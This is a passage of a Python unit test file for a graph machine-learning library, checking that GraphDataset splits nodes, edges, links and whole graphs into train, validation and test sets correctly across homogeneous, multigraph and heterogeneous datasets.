num_edges) edge_2 = 2 * 2 * ( num_edges - int(0.8 * num_edges) - int(0.1 * num_edges) ) split_res = dataset.split() self.assertEqual( split_res[0][0].edge_label_index.shape[1], edge_0 ) self.assertEqual( split_res[1][0].edge_label_index.shape[1], edge_1 ) self.assertEqual( split_res[2][0].edge_label_index.shape[1], edge_2 ) # transductively split with link_pred task, `split` edge_train_mode # and 0.5 edge_message_ratio pyg_dataset = Planetoid("./cora", "Cora") graphs = GraphDataset.pyg_to_graphs(pyg_dataset) dataset = GraphDataset( graphs, task="link_pred", edge_train_mode="disjoint", edge_message_ratio=0.5, ) num_edges = dataset.num_edges[0] split_res = dataset.split() edge_0 = 2 * int(0.8 * num_edges) edge_0 = 2 * (edge_0 - int(0.5 * edge_0)) edge_1 = 2 * 2 * int(0.1 * num_edges) edge_2 = 2 * 2 * ( num_edges - int(0.8 * num_edges) - int(0.1 * num_edges) ) self.assertEqual(split_res[0][0].edge_label_index.shape[1], edge_0) self.assertEqual(split_res[1][0].edge_label_index.shape[1], edge_1) self.assertEqual(split_res[2][0].edge_label_index.shape[1], edge_2) # resample disjoint self.assertEqual(split_res[0][0].edge_label_index.shape[1], edge_0) self.assertEqual(split_res[1][0].edge_label_index.shape[1], edge_1) self.assertEqual(split_res[2][0].edge_label_index.shape[1], edge_2) # transductively split with link_pred task # and specified edge_negative_sampling_ratio pyg_dataset = Planetoid("./cora", "Cora") graphs = GraphDataset.pyg_to_graphs(pyg_dataset) dataset = GraphDataset( graphs, task="link_pred", edge_negative_sampling_ratio=2 ) num_edges = dataset.num_edges[0] edge_0 = (2 + 1) * 2 * int(0.8 * num_edges) edge_1 = (2 + 1) * 2 * int(0.1 * num_edges) edge_2 = (2 + 1) * 2 * ( num_edges - int(0.8 * num_edges) - int(0.1 * num_edges) ) split_res = dataset.split() self.assertEqual(split_res[0][0].edge_label_index.shape[1], edge_0) self.assertEqual(split_res[1][0].edge_label_index.shape[1], edge_1) self.assertEqual(split_res[2][0].edge_label_index.shape[1], edge_2) def test_dataset_split_custom(self): # transductive split with node task (self defined dataset) G, x, y, edge_x, edge_y, edge_index, graph_x, graph_y = ( simple_networkx_graph_alphabet() ) Graph.add_edge_attr(G, "edge_feature", edge_x) Graph.add_edge_attr(G, "edge_label", edge_y) Graph.add_node_attr(G, "node_feature", x) Graph.add_node_attr(G, "node_label", y) Graph.add_graph_attr(G, "graph_feature", graph_x) Graph.add_graph_attr(G, "graph_label", graph_y) num_nodes = len(list(G.nodes)) nodes_train = list(G.nodes)[: int(0.3 * num_nodes)] nodes_val = list(G.nodes)[int(0.3 * num_nodes): int(0.6 * num_nodes)] nodes_test = list(G.nodes)[int(0.6 * num_nodes):] graph = Graph( G, custom={ "general_splits": [ nodes_train, nodes_val, nodes_test ], "task": "node" } ) graphs = [graph] dataset = GraphDataset( graphs, task="node" ) split_res = dataset.split(transductive=True) self.assertEqual( split_res[0][0].node_label_index.tolist(), list(range(int(0.3 * num_nodes))) ) self.assertEqual( split_res[1][0].node_label_index.tolist(), list(range(int(0.3 * num_nodes), int(0.6 * num_nodes))) ) self.assertEqual( split_res[2][0].node_label_index.tolist(), list(range(int(0.6 * num_nodes), num_nodes)) ) # transductive split with edge task (self defined dataset) G, x, y, edge_x, edge_y, edge_index, graph_x, graph_y = ( simple_networkx_graph() ) Graph.add_edge_attr(G, "edge_feature", edge_x) Graph.add_edge_attr(G, "edge_label", edge_y) Graph.add_node_attr(G, "node_feature", x) Graph.add_node_attr(G, "node_label", y) Graph.add_graph_attr(G, "graph_feature", graph_x) Graph.add_graph_attr(G, "graph_label", graph_y) edges = list(G.edges) num_edges = len(edges) edges_train = edges[: int(0.7 * num_edges)] edges_val = edges[int(0.7 * num_edges):] link_size_list = [len(edges_train), len(edges_val)] graph = Graph( G, custom={ "general_splits": [ edges_train, edges_val ], "task": "edge" } ) graphs = [graph] dataset = GraphDataset( graphs, task="edge" ) split_res = dataset.split(transductive=True) self.assertEqual( split_res[0][0].edge_label_index.shape[1], link_size_list[0] ) self.assertEqual( split_res[1][0].edge_label_index.shape[1], link_size_list[1] ) for idx, edge in ( enumerate( split_res[0][0].edge_label_index.permute(1, 0).tolist() ) ): edge_label = G.edges[edge[0], edge[1]]["edge_label"] self.assertEqual(edge_label, split_res[0][0].edge_label[idx]) # transductive split with link_pred task (train/val split) edges = list(G.edges) num_edges = len(edges) edges_train = edges[: int(0.7 * num_edges)] edges_val = edges[int(0.7 * num_edges):] link_size_list = [len(edges_train), len(edges_val)] graph = Graph( G, custom={ "general_splits": [ edges_train, edges_val ], "task": "link_pred" } ) graphs = [graph] dataset = GraphDataset( graphs, task="link_pred" ) split_res = dataset.split(transductive=True) self.assertEqual( split_res[0][0].edge_label_index.shape[1], 2 * link_size_list[0] ) self.assertEqual( split_res[1][0].edge_label_index.shape[1], 2 * link_size_list[1] ) # transductive split with link_pred disjoint task (train/val split) G, x, y, edge_x, edge_y, edge_index, graph_x, graph_y = ( simple_networkx_graph_alphabet() ) Graph.add_edge_attr(G, "edge_feature", edge_x) Graph.add_edge_attr(G, "edge_label", edge_y) Graph.add_node_attr(G, "node_feature", x) Graph.add_node_attr(G, "node_label", y) Graph.add_graph_attr(G, "graph_feature", graph_x) Graph.add_graph_attr(G, "graph_label", graph_y) edges = list(G.edges) num_edges = len(edges) edges_train = edges[: int(0.7 * num_edges)] edges_val = edges[int(0.7 * num_edges):] link_size_list = [len(edges_train), len(edges_val)] graph = Graph( G, custom={ "general_splits": [ edges_train, edges_val ], "task": "link_pred" } ) graphs = [graph] dataset = GraphDataset( graphs, task="link_pred", edge_train_mode="disjoint", edge_message_ratio=0.2 ) split_res = dataset.split(transductive=True) edge_0 = ( 2 * ( link_size_list[0] - (1 + int(0.2 * (link_size_list[0] - 2))) ) ) edge_1 = 2 * link_size_list[1] self.assertEqual( split_res[0][0].edge_label_index.shape[1], edge_0 ) self.assertEqual( split_res[1][0].edge_label_index.shape[1], edge_1 ) # transductive split with link_pred task (custom negative sampling) (larger/equal amount) (train/val split) edges = list(G.edges) num_edges = len(edges) edges_train = edges[: int(0.7 * num_edges)] edges_val = edges[int(0.7 * num_edges):] custom_negative_sampling_train = [ ("a", "a") for _ in range(len(edges_train)) ] custom_negative_sampling_val = [ ("b", "b") for _ in range(len(edges_val)) ] link_size_list = [len(edges_train), len(edges_val)] graph = Graph( G, custom={ "general_splits": [ edges_train, edges_val ], "negative_edges": [ custom_negative_sampling_train, custom_negative_sampling_val ], "task": "link_pred" } ) graphs = [graph] dataset = GraphDataset( graphs, task="link_pred" ) split_res = dataset.split(transductive=True) self.assertEqual( split_res[0][0].edge_label_index.shape[1], 2 * link_size_list[0] ) self.assertEqual( split_res[1][0].edge_label_index.shape[1], 2 * link_size_list[1] ) self.assertEqual( split_res[0][0].edge_label_index[:, len(edges_train):].tolist(), [list(x) for x in list(zip(*custom_negative_sampling_train))] ) self.assertEqual( split_res[1][0].edge_label_index[:, len(edges_val):].tolist(), [list(x) for x in list(zip(*custom_negative_sampling_val))] ) # transductive split with link_pred task (custom negative sampling) (smaller amount) (train/val split) edges = list(G.edges) num_edges = len(edges) edges_train = edges[: int(0.7 * num_edges)] edges_val = edges[int(0.7 * num_edges):] custom_negative_sampling_train = [("a", "a")] custom_negative_sampling_val = [("b", "b")] link_size_list = [len(edges_train), len(edges_val)] graph = Graph( G, custom={ "general_splits": [ edges_train, edges_val ], "negative_edges": [ custom_negative_sampling_train, custom_negative_sampling_val ], "task": "link_pred" } ) graphs = [graph] dataset = GraphDataset( graphs, task="link_pred" ) split_res = dataset.split(transductive=True) self.assertEqual( split_res[0][0].edge_label_index.shape[1], 2 * link_size_list[0] ) self.assertEqual( split_res[1][0].edge_label_index.shape[1], 2 * link_size_list[1] ) self.assertEqual( split_res[0][0].edge_label_index[:, len(edges_train):].tolist(), [ len(edges_train) * list(x) for x in list(zip(*custom_negative_sampling_train)) ] ) self.assertEqual( split_res[1][0].edge_label_index[:, len(edges_val):].tolist(), [ len(edges_val) * list(x) for x in list(zip(*custom_negative_sampling_val)) ] ) # transductive split with link_pred task (disjoint mode) (self defined dataset) (train/val/test split) edges = list(G.edges) num_edges = len(edges) edges_train = edges[: int(0.3 * num_edges)] edges_train_disjoint = edges[: int(0.5 * 0.3 * num_edges)] edges_val = edges[int(0.3 * num_edges): int(0.6 * num_edges)] edges_test = edges[int(0.6 * num_edges):] link_size_list = [ len(edges_train_disjoint), len(edges_val), len(edges_test) ] graph = Graph( G, custom={ "general_splits": [ edges_train, edges_val, edges_test ], "disjoint_split": edges_train_disjoint, "task": "link_pred" } ) graphs = [graph] dataset = GraphDataset( graphs, task="link_pred", edge_train_mode="disjoint" ) split_res = dataset.split(transductive=True) self.assertEqual( split_res[0][0].edge_label_index.shape[1], 2 * link_size_list[0] ) self.assertEqual( split_res[1][0].edge_label_index.shape[1], 2 * link_size_list[1] ) self.assertEqual( split_res[2][0].edge_label_index.shape[1], 2 * link_size_list[2] ) # transductive split with link_pred task (disjoint mode) (self defined disjoint data) (train/val split) edges = list(G.edges) num_edges = len(edges) edges_train = edges[: int(0.7 * num_edges)] edges_train_disjoint = edges[: int(0.5 * 0.7 * num_edges)] edges_val = edges[int(0.7 * num_edges):] link_size_list = [len(edges_train_disjoint), len(edges_val)] graph = Graph( G, custom={ "general_splits": [ edges_train, edges_val ], "disjoint_split": edges_train_disjoint, "task": "link_pred" } ) graphs = [graph] dataset = GraphDataset( graphs, task="link_pred", edge_train_mode="disjoint" ) split_res = dataset.split(transductive=True) self.assertEqual( split_res[0][0].edge_label_index.shape[1], 2 * link_size_list[0] ) self.assertEqual( split_res[1][0].edge_label_index.shape[1], 2 * link_size_list[1] ) # transductive split with link_pred task (disjoint mode) (self defined disjoint data) (multigraph) (train/val split) G, x, y, edge_x, edge_y, edge_index, graph_x, graph_y = ( simple_networkx_multigraph() ) Graph.add_edge_attr(G, "edge_feature", edge_x) Graph.add_edge_attr(G, "edge_label", edge_y) Graph.add_node_attr(G, "node_feature", x) Graph.add_node_attr(G, "node_label", y) Graph.add_graph_attr(G, "graph_feature", graph_x) Graph.add_graph_attr(G, "graph_label", graph_y) edges = list(G.edges) num_edges = len(edges) edges_train = edges[: int(0.6 * num_edges)] edges_train_disjoint = edges[: int(0.6 * 0.2 * num_edges)] edges_val = edges[int(0.6 * num_edges):] link_size_list = [len(edges_train_disjoint), len(edges_val)] graph = Graph( G, custom={ "general_splits": [ edges_train, edges_val ], "disjoint_split": edges_train_disjoint, "task": "link_pred" } ) graphs = [graph] dataset = GraphDataset( graphs, task="link_pred", edge_train_mode="disjoint" ) split_res = dataset.split(transductive=True) self.assertEqual( split_res[0][0].edge_label_index.shape[1], 2 * link_size_list[0] ) self.assertEqual( split_res[1][0].edge_label_index.shape[1], 2 * link_size_list[1] ) # transductive split with link_pred task (disjoint mode) (self defined disjoint data) (multigraph) (train/val/test split) G, x, y, edge_x, edge_y, edge_index, graph_x, graph_y = ( simple_networkx_multigraph() ) Graph.add_edge_attr(G, "edge_feature", edge_x) Graph.add_edge_attr(G, "edge_label", edge_y) Graph.add_node_attr(G, "node_feature", x) Graph.add_node_attr(G, "node_label", y) Graph.add_graph_attr(G, "graph_feature", graph_x) Graph.add_graph_attr(G, "graph_label", graph_y) edges = list(G.edges) num_edges = len(edges) edges_train = edges[: int(0.6 * num_edges)] edges_train_disjoint = edges[: int(0.6 * 0.2 * num_edges)] edges_val = edges[int(0.6 * num_edges):int(0.8 * num_edges)] edges_test = edges[int(0.8 * num_edges):] link_size_list = [ len(edges_train_disjoint), len(edges_val), len(edges_test) ] graph = Graph( G, custom={ "general_splits": [ edges_train, edges_val, edges_test ], "disjoint_split": edges_train_disjoint, "task": "link_pred" } ) graphs = [graph] dataset = GraphDataset( graphs, task="link_pred", edge_train_mode="disjoint" ) split_res = dataset.split(transductive=True) self.assertEqual( split_res[0][0].edge_label_index.shape[1], 2 * link_size_list[0] ) self.assertEqual( split_res[1][0].edge_label_index.shape[1], 2 * link_size_list[1] ) self.assertEqual( split_res[2][0].edge_label_index.shape[1], 2 * link_size_list[2] ) # transductive split with node task (pytorch geometric dataset) pyg_dataset = Planetoid("./cora", "Cora") graphs = GraphDataset.pyg_to_graphs(pyg_dataset) split_ratio = [0.3, 0.3, 0.4] node_size_list = [0 for i in range(len(split_ratio))] for graph in graphs: custom_splits = [[] for i in range(len(split_ratio))] split_offset = 0 shuffled_node_indices = torch.randperm(graph.num_nodes) for i, split_ratio_i in enumerate(split_ratio): if i != len(split_ratio) - 1: num_split_i = ( 1 + int( split_ratio_i * (graph.num_nodes - len(split_ratio)) ) ) nodes_split_i = ( shuffled_node_indices[ split_offset: split_offset + num_split_i ] ) split_offset += num_split_i else: nodes_split_i = shuffled_node_indices[split_offset:] custom_splits[i] = nodes_split_i.tolist() node_size_list[i] += len(nodes_split_i) graph.custom = { "general_splits": custom_splits } dataset = GraphDataset( graphs, task="node" ) split_res = dataset.split(transductive=True) self.assertEqual( len(split_res[0][0].node_label_index), node_size_list[0] ) self.assertEqual( len(split_res[1][0].node_label_index), node_size_list[1] ) self.assertEqual( len(split_res[2][0].node_label_index), node_size_list[2] ) # TODO: transductive split with edge task # transductive split with link_pred task pyg_dataset = Planetoid("./cora", "Cora") graphs = GraphDataset.pyg_to_graphs(pyg_dataset) split_ratio = [0.3, 0.3, 0.4] link_size_list = [0 for i in range(len(split_ratio))] for graph in graphs: split_offset = 0 edges = list(graph.G.edges) random.shuffle(edges) num_edges_train = int(split_ratio[0] * (graph.num_edges)) num_edges_val = int(split_ratio[0] * (graph.num_edges)) edges_train = edges[:num_edges_train] edges_val = edges[num_edges_train:num_edges_train + num_edges_val] edges_test = edges[num_edges_train + num_edges_val:] custom_splits = [ edges_train, edges_val, edges_test, ] graph.custom = { "general_splits": custom_splits } link_size_list[0] += len(edges_train) link_size_list[1] += len(edges_val) link_size_list[2] += len(edges_test) dataset = GraphDataset( graphs, task="link_pred" ) split_res = dataset.split(transductive=True) self.assertEqual( split_res[0][0].edge_label_index.shape[1], 2 * 2 * link_size_list[0] ) self.assertEqual( split_res[1][0].edge_label_index.shape[1], 2 * 2 * link_size_list[1] ) self.assertEqual( split_res[2][0].edge_label_index.shape[1], 2 * 2 * link_size_list[2] ) # inductive split with graph task pyg_dataset = TUDataset("./enzymes", "ENZYMES") graphs = GraphDataset.pyg_to_graphs(pyg_dataset) num_graphs = len(graphs) split_ratio = [0.3, 0.3, 0.4] graph_size_list = [] split_offset = 0 custom_split_graphs = [] for i, split_ratio_i in enumerate(split_ratio): if i != len(split_ratio) - 1: num_split_i = int(split_ratio_i * num_graphs) custom_split_graphs.append( graphs[split_offset: split_offset + num_split_i] ) split_offset += num_split_i graph_size_list.append(num_split_i) else: custom_split_graphs.append(graphs[split_offset:]) graph_size_list.append(len(graphs[split_offset:])) dataset = GraphDataset( graphs, task="graph", custom_split_graphs=custom_split_graphs ) split_res = dataset.split(transductive=False) self.assertEqual(graph_size_list[0], len(split_res[0])) self.assertEqual(graph_size_list[1], len(split_res[1])) self.assertEqual(graph_size_list[2], len(split_res[2])) # transductive split with link_pred task in `disjoint` edge_train_mode. pyg_dataset = Planetoid("./cora", "Cora") graphs = GraphDataset.pyg_to_graphs(pyg_dataset) split_ratio = [0.3, 0.3, 0.4] link_size_list = [0 for i in range(len(split_ratio))] for graph in graphs: split_offset = 0 edges = list(graph.G.edges) random.shuffle(edges) num_edges_train = int(split_ratio[0] * graph.num_edges) num_edges_train_disjoint = ( int(split_ratio[0] * 0.5 * graph.num_edges - 3) ) num_edges_val = int(split_ratio[0] * graph.num_edges) edges_train = edges[:num_edges_train] edges_train_disjoint = edges[:num_edges_train_disjoint] edges_val = edges[num_edges_train:num_edges_train + num_edges_val] edges_test = edges[num_edges_train + num_edges_val:] custom_splits = [ edges_train, edges_val, edges_test, ] graph.custom = { "general_splits": custom_splits, "disjoint_split": edges_train_disjoint } link_size_list[0] += len(edges_train_disjoint) link_size_list[1] += len(edges_val) link_size_list[2] += len(edges_test) dataset = GraphDataset( graphs, task="link_pred", edge_train_mode="disjoint" ) split_res = dataset.split(transductive=True) self.assertEqual( split_res[0][0].edge_label_index.shape[1], 2 * 2 * link_size_list[0] ) self.assertEqual( split_res[1][0].edge_label_index.shape[1], 2 * 2 * link_size_list[1] ) self.assertEqual( split_res[2][0].edge_label_index.shape[1], 2 * 2 * link_size_list[2] ) # transductive split with node task (heterogeneous graph) G = generate_dense_hete_dataset() nodes_train, nodes_val, nodes_test = [], [], [] nodes = {} nodes_type_num = {} for node in G.nodes(data=True): node_type = node[-1]["node_type"] if node_type not in nodes: nodes[node_type] = [] nodes[node_type].append(node) for node_type in nodes: node_type_num = len(nodes[node_type]) train_num = int(0.8 * node_type_num) val_num = int(0.1 * node_type_num) test_num = node_type_num - train_num - val_num nodes_type_num[node_type] = [train_num, val_num, test_num] nodes_train += nodes[node_type][0: train_num] nodes_val += nodes[node_type][train_num: train_num + val_num] nodes_test += nodes[node_type][train_num + val_num:] node_split_types = [x for x in nodes] hete = HeteroGraph( G, custom={ "general_splits": [ nodes_train, nodes_val, nodes_test ], "task": "node", } ) dataset = GraphDataset([hete], task="node") split_res = dataset.split(split_types=node_split_types) for node_type in hete.node_label_index: if node_type in node_split_types: [node_0, node_1, node_2] = nodes_type_num[node_type] self.assertEqual( len(split_res[0][0].node_label_index[node_type]), node_0, ) self.assertEqual( len(split_res[1][0].node_label_index[node_type]), node_1, ) self.assertEqual( len(split_res[2][0].node_label_index[node_type]), node_2, ) else: num_nodes = int(len(hete.node_label_index[node_type])) self.assertEqual( len(split_res[0][0].node_label_index[node_type]), num_nodes, ) self.assertEqual( len(split_res[1][0].node_label_index[node_type]), num_nodes, ) self.assertEqual( len(split_res[2][0].node_label_index[node_type]), num_nodes, ) # transductive split with node task (heterogeneous graph) (with specific node type) G = generate_dense_hete_dataset() nodes_train, nodes_val, nodes_test = [], [], [] node_split_types = ["n1"] nodes = {} nodes_type_num = {} for node in G.nodes(data=True): node_type = node[-1]["node_type"] if node_type not in nodes: nodes[node_type] = [] nodes[node_type].append(node) for node_type in nodes: if node_type in node_split_types: node_type_num = len(nodes[node_type]) train_num = int(0.8 * node_type_num) val_num = int(0.1 * node_type_num) test_num = node_type_num - train_num - val_num nodes_type_num[node_type] = [train_num, val_num, test_num] nodes_train += nodes[node_type][0: train_num] nodes_val += nodes[node_type][train_num: train_num + val_num] nodes_test += nodes[node_type][train_num + val_num:] else: nodes_train += nodes[node_type] nodes_val += nodes[node_type] nodes_test += nodes[node_type] hete = HeteroGraph( G, custom={ "general_splits": [ nodes_train, nodes_val, nodes_test ], "task": "node", } ) dataset = GraphDataset([hete], task="node") split_res = dataset.split(split_types=node_split_types) for node_type in hete.node_label_index: if node_type in node_split_types: [node_0, node_1, node_2] = nodes_type_num[node_type] self.assertEqual( len(split_res[0][0].node_label_index[node_type]), node_0, ) self.assertEqual( len(split_res[1][0].node_label_index[node_type]), node_1, ) self.assertEqual( len(split_res[2][0].node_label_index[node_type]), node_2, ) for i in range(3): node_label_index_type = ( split_res[i][0].node_label_index[node_type] ) node_label_index_type = ( split_res[i][0]._convert_to_graph_index( node_label_index_type, node_type ) ) for j in range(node_label_index_type.shape[0]): node = node_label_index_type[j].item() node_label = ( split_res[i][0].node_label[node_type][j].item() ) self.assertEqual( dataset[0].G.nodes[node]["node_label"], node_label ) else: num_nodes = int(len(hete.node_label_index[node_type])) self.assertEqual( len(split_res[0][0].node_label_index[node_type]), num_nodes, ) self.assertEqual( len(split_res[1][0].node_label_index[node_type]), num_nodes, ) self.assertEqual( len(split_res[2][0].node_label_index[node_type]), num_nodes, ) for i in range(3): node_label_index_type = ( split_res[i][0].node_label_index[node_type] ) node_label_index_type = ( split_res[i][0]._convert_to_graph_index( node_label_index_type, node_type ) ) for j in range(node_label_index_type.shape[0]): node = node_label_index_type[j].item() node_label = ( split_res[i][0].node_label[node_type][j].item() ) self.assertEqual( dataset[0].G.nodes[node]["node_label"], node_label ) # transductive split with edge task (heterogeneous graph) (with specific edge type) G = generate_dense_hete_dataset() edges_train, edges_val, edges_test = [], [], [] edge_split_types = [("n1", "e1", "n1"), ("n1", "e2", "n2")] edges = {} edges_type_num = {} nodes_dict = {} for node in G.nodes(data=True): nodes_dict[node[0]] = node[-1]["node_type"] for edge in G.edges(data=True): edge_type = edge[-1]["edge_type"] head_type = nodes_dict[edge[0]] tail_type = nodes_dict[edge[1]] message_type = (head_type, edge_type, tail_type) if message_type not in edges: edges[message_type] = [] edges[message_type].append((edge[0], edge[1], edge[2])) for edge_type in edges: if edge_type in edge_split_types: edge_type_num = len(edges[edge_type]) train_num = int(0.8 * edge_type_num) val_num = int(0.1 * edge_type_num) test_num = edge_type_num - train_num - val_num edges_type_num[edge_type] = [train_num, val_num, test_num] edges_train += edges[edge_type][0: train_num] edges_val += edges[edge_type][train_num: train_num + val_num] edges_test += edges[edge_type][train_num + val_num:] else: edges_train += edges[edge_type] edges_val += edges[edge_type] edges_test += edges[edge_type] hete = HeteroGraph( G, custom={ "general_splits": [ edges_train, edges_val, edges_test ], "task": "edge", } ) dataset = GraphDataset([hete], task="edge") split_res = dataset.split(split_types=edge_split_types) for edge_type in hete.edge_label_index: if edge_type in edge_split_types: num_edges = edges_type_num[edge_type] for i in range(3): self.assertEqual( split_res[i][0].edge_label_index[edge_type].shape[1], num_edges[i], ) edge_label_index_type = ( split_res[i][0].edge_label_index[edge_type] ) edge_label_index_type_0 = ( split_res[i][0]._convert_to_graph_index( edge_label_index_type[0], edge_type[0] ) ) edge_label_index_type_1 = ( split_res[i][0]._convert_to_graph_index( edge_label_index_type[1], edge_type[2] ) ) edge_label_index_type = torch.stack( [edge_label_index_type_0, edge_label_index_type_1] ) for j in range(edge_label_index_type.shape[1]): node_0 = edge_label_index_type[0][j].item() node_1 = edge_label_index_type[1][j].item() edge_label = ( split_res[i][0].edge_label[edge_type][j].item() ) self.assertEqual( G.edges[node_0, node_1]["edge_label"], edge_label ) else: num_edges = hete.edge_label_index[edge_type].shape[1] for i in range(3): self.assertEqual( split_res[i][0].edge_label_index[edge_type].shape[1], num_edges, ) edge_label_index_type = ( split_res[i][0].edge_label_index[edge_type] ) edge_label_index_type_0 = ( split_res[i][0]._convert_to_graph_index( edge_label_index_type[0], edge_type[0] ) ) edge_label_index_type_1 = ( split_res[i][0]._convert_to_graph_index( edge_label_index_type[1], edge_type[2] ) ) edge_label_index_type = ( torch.stack( [edge_label_index_type_0, edge_label_index_type_1] ) ) for j in range( split_res[i][0].edge_label_index[edge_type].shape[1] ): node_0 = edge_label_index_type[0][j].item() node_1 = edge_label_index_type[1][j].item() edge_label = ( split_res[i][0].edge_label[edge_type][j].item() ) self.assertEqual( G.edges[node_0, node_1]["edge_label"], edge_label ) # transductive split with link_pred task (heterogeneous graph) G = generate_dense_hete_dataset() edges_train, edges_val, edges_test = [], [], [] link_split_types = [("n1", "e1", "n1"), ("n1", "e2", "n2")] nodes_dict = {} for node in G.nodes(data=True): nodes_dict[node[0]] = node[-1]["node_type"] edges = {} edges_type_num = {} for edge in G.edges(data=True): edge_type = edge[-1]["edge_type"] head_type = nodes_dict[edge[0]] tail_type = nodes_dict[edge[1]] message_type = (head_type, edge_type, tail_type) if message_type not in edges: edges[message_type] = [] edges[message_type].append((edge[0], edge[1], edge[2])) for edge_type in edges: if edge_type in link_split_types: edge_type_num = len(edges[edge_type]) train_num = int(0.8 * edge_type_num) val_num = int(0.1 * edge_type_num) test_num = edge_type_num - train_num - val_num edges_type_num[edge_type] = [train_num, val_num, test_num] edges_train += edges[edge_type][0: train_num] edges_val += edges[edge_type][train_num: train_num + val_num] edges_test += edges[edge_type][train_num + val_num:] else: edges_train += edges[edge_type] edges_val += edges[edge_type] edges_test += edges[edge_type] hete = HeteroGraph( G, custom={ "general_splits": [ edges_train, edges_val, edges_test ], "task": "link_pred", } ) dataset = GraphDataset([hete], task="link_pred") split_res = dataset.split( transductive=True, split_types=link_split_types ) for edge_type in hete.edge_label_index: if edge_type in link_split_types: [edge_0, edge_1, edge_2] = edges_type_num[edge_type] self.assertEqual( split_res[0][0].edge_label_index[edge_type].shape[1], 2 * edge_0 ) self.assertEqual( split_res[1][0].edge_label_index[edge_type].shape[1], 2 * edge_1 ) self.assertEqual( split_res[2][0].edge_label_index[edge_type].shape[1], 2 * edge_2 ) else: num_edges = hete.edge_label_index[edge_type].shape[1] self.assertEqual( split_res[0][0].edge_label_index[edge_type].shape[1], 1 * (0 + int(1.0 * (num_edges))), ) self.assertEqual( split_res[1][0].edge_label_index[edge_type].shape[1], 1 * (0 + (int(1.0 * (num_edges)))), ) self.assertEqual( split_res[2][0].edge_label_index[edge_type].shape[1], 1 * (0 + (int(1.0 * (num_edges)))), ) # transductive split with link_pred task (disjoint) (heterogeneous graph) G = generate_dense_hete_dataset() edges_train, edges_train_disjoint, edges_val, edges_test = [], [], [], [] link_split_types = [("n1", "e1", "n1"), ("n1", "e2", "n2")] nodes_dict = {} for node in G.nodes(data=True): nodes_dict[node[0]] = node[-1]["node_type"] edges = {} edges_type_num = {} for edge in G.edges(data=True): edge_type = edge[-1]["edge_type"] head_type = nodes_dict[edge[0]] tail_type = nodes_dict[edge[1]] message_type = (head_type, edge_type, tail_type) if message_type not in edges: edges[message_type] = [] edges[message_type].append((edge[0], edge[1], edge[2])) for edge_type in edges: if edge_type in link_split_types: edge_type_num = len(edges[edge_type]) train_num = int(0.8 * edge_type_num) train_disjoint_num = int(0.4 * 0.8 * edge_type_num) val_num = int(0.1 * edge_type_num) test_num = edge_type_num - train_num - val_num edges_type_num[edge_type] = [ train_disjoint_num, val_num, test_num ] edges_train += edges[edge_type][0: train_num] edges_train_disjoint += edges[edge_type][0: train_disjoint_num] edges_val += edges[edge_type][train_num: train_num + val_num] edges_test += edges[edge_type][train_num + val_num:] else: edges_train += edges[edge_type] edges_val += edges[edge_type] edges_test += edges[edge_type] hete = HeteroGraph( G, custom={ "general_splits": [ edges_train, edges_val, edges_test ], "disjoint_split": edges_train_disjoint, "task": "link_pred", } ) dataset = GraphDataset( [hete], task="link_pred", edge_train_mode="disjoint" ) split_res = dataset.split( transductive=True, split_types=link_split_types ) for edge_type in hete.edge_label_index: if edge_type in link_split_types: [edge_0, edge_1, edge_2] = edges_type_num[edge_type] self.assertEqual( split_res[0][0].edge_label_index[edge_type].shape[1], 2 * edge_0 ) self.assertEqual( split_res[1][0].edge_label_index[edge_type].shape[1], 2 * edge_1 ) self.assertEqual( split_res[2][0].edge_label_index[edge_type].shape[1], 2 * edge_2 ) else: num_edges = hete.edge_label_index[edge_type].shape[1] self.assertEqual( split_res[0][0].edge_label_index[edge_type].shape[1], num_edges ) self.assertEqual( split_res[1][0].edge_label_index[edge_type].shape[1], num_edges ) self.assertEqual( split_res[2][0].edge_label_index[edge_type].shape[1], num_edges ) # transductive split with link_pred task (disjoint) (heterogeneous graph) (w/o edge info) G = generate_dense_hete_dataset() edges_train, edges_train_disjoint, edges_val, edges_test = [], [], [], [] link_split_types = [("n1", "e1", "n1"), ("n1", "e2", "n2")] nodes_dict = {} for node in G.nodes(data=True): nodes_dict[node[0]] = node[-1]["node_type"] edges = {} edges_type_num = {} for edge in G.edges(data=True): edge_type = edge[-1]["edge_type"] head_type = nodes_dict[edge[0]] tail_type = nodes_dict[edge[1]] message_type = (head_type, edge_type, tail_type) if message_type not in edges: edges[message_type] = [] edges[message_type].append((edge[0], edge[1])) for edge_type in edges: if edge_type in link_split_types: edge_type_num = len(edges[edge_type]) train_num = int(0.8 * edge_type_num) train_disjoint_num = int(0.4 * 0.8 * edge_type_num) val_num = int(0.1 * edge_type_num) test_num = edge_type_num - train_num - val_num edges_type_num[edge_type] = [ train_disjoint_num, val_num, test_num ] edges_train += edges[edge_type][0: train_num] edges_train_disjoint += edges[edge_type][0: train_disjoint_num] edges_val += edges[edge_type][train_num: train_num + val_num] edges_test += edges[edge_type][train_num + val_num:] else: edges_train += edges[edge_type] edges_val += edges[edge_type] edges_test += edges[edge_type] hete = HeteroGraph( G, custom={ "general_splits": [ edges_train, edges_val, edges_test ], "disjoint_split": edges_train_disjoint, "task": "link_pred", } ) dataset = GraphDataset( [hete], task="link_pred", edge_train_mode="disjoint" ) split_res = dataset.split( transductive=True, split_types=link_split_types ) for edge_type in hete.edge_label_index: if edge_type in link_split_types: [edge_0, edge_1, edge_2] = edges_type_num[edge_type] self.assertEqual( split_res[0][0].edge_label_index[edge_type].shape[1], 2 * edge_0 ) self.assertEqual( split_res[1][0].edge_label_index[edge_type].shape[1], 2 * edge_1 ) self.assertEqual( split_res[2][0].edge_label_index[edge_type].shape[1], 2 * edge_2 ) else: num_edges = hete.edge_label_index[edge_type].shape[1] self.assertEqual( split_res[0][0].edge_label_index[edge_type].shape[1], num_edges ) self.assertEqual( split_res[1][0].edge_label_index[edge_type].shape[1], num_edges ) self.assertEqual( split_res[2][0].edge_label_index[edge_type].shape[1], num_edges ) # transductively split with link_pred task (custom negative samples) (heterogeneous graph) G = generate_dense_hete_dataset() edges_train, edges_train_disjoint, edges_val, edges_test = [], [], [], [] link_split_types = [("n1", "e1", "n1"), ("n1", "e2", "n2")] nodes_dict = {} for node in G.nodes(data=True): nodes_dict[node[0]] = node[-1]["node_type"] edges = {} edges_type_num = {} for edge in G.edges(data=True): edge_type = edge[-1]["edge_type"] head_type = nodes_dict[edge[0]] tail_type = nodes_dict[edge[1]] message_type = (head_type, edge_type, tail_type) if message_type not in edges: edges[message_type] = [] edges[message_type].append((edge[0], edge[1])) for edge_type in edges: if edge_type in link_split_types: edge_type_num = len(edges[edge_type]) train_num = int(0.8 * edge_type_num) train_disjoint_num = int(0.4 * 0.8 * edge_type_num) val_num = 